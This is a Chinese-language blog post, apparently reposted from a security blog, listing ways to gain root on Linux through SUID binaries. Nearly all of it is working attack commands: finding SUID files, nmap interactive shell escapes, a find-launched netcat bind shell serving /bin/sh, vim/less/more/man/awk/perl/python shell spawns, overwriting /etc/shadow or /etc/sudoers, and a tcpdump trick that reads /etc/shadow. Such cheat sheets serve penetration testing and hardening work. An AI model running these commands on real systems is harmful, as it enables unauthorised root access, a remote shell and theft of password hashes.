Linux提权中,可以用的SUID文件来提权,SUID的作用就是:让本来没有相应权限的用户运行这个程序时,可以访问没有权限访问的资源。通常可以使用一下命令来找有SUID标志位的文件:
1
2
3
|
find
/ -user root -perm -4000 -print 2>
/dev/null
find
/ -perm -u=s -
type
f 2>
/dev/null
find
/ -user root -perm -4000 -
exec
ls
-ldb {} \;
|
例如nmap
1
2
|
ls
-l
/usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04
/usr/bin/nmap
|
存在s 则表示其存在SUID标志位,并拥有root的执行权限。以下是几类可用于提权的文件总结:
老版本的nmap(2.02-5.21)有 interactive,是允许用户执行系统命令的。提权方式
1
|
nmap --interactive
|
之后执行命令:
1
2
3
|
nmap> !sh
sh-3.2
# whoami
root
|
msf中的模块为:
1
|
exploit
/unix/local/setuid_nmap
|
1
2
|
touch
test
find
test
-
exec
whoami
\;
|
如果服务器上装了nc,可以直接使用以下命令进行监听:
1
|
find
test
-
exec
netcat -lvp 5555 -e
/bin/sh
\;
|
之后进行连接:
1
|
netcat 192.168.1.100 5555
|
则可获取root shell
打开vim,按下ESC
1
2
|
:
set
shell=
/bin/sh
:shell
|
则可执行命令
1
2
3
|
bash
-p
bash
-3.2
# id
uid=1002(service) gid=1002(service) euid=0(root)
groups
=1002(service
)
|
1
2
|
less
/etc/passwd
!
/bin/sh
|
1
2
|
more
/home/pelle/myfile
!
/bin/bash
|
使用cp覆盖 /etc/shadow
使用mv 覆盖 /etc/shadow 或者/etc/sudoers
1
|
awk
'BEGIN {system("/bin/bash")}'
|
1
2
|
man
passwd
!
/bin/bash
|
perl
1
|
exec
"/bin/bash"
;
|
python
1
2
|
import
os
os.system(
"/bin/bash"
)
|
1
2
3
|
echo
$
'id\ncat /etc/shadow'
>
/tmp/
.
test
chmod
+x
/tmp/
.
test
sudo
tcpdump -
ln
-i eth0 -w
/dev/null
-W 1 -G 1 -z
/tmp/
.
test
-Z root
|
欢迎补充。
文章出处:Evi1cg's blog
原文链接:https://evi1cg.me/archives/SUID_Privilege_Escalation.html
你可能喜欢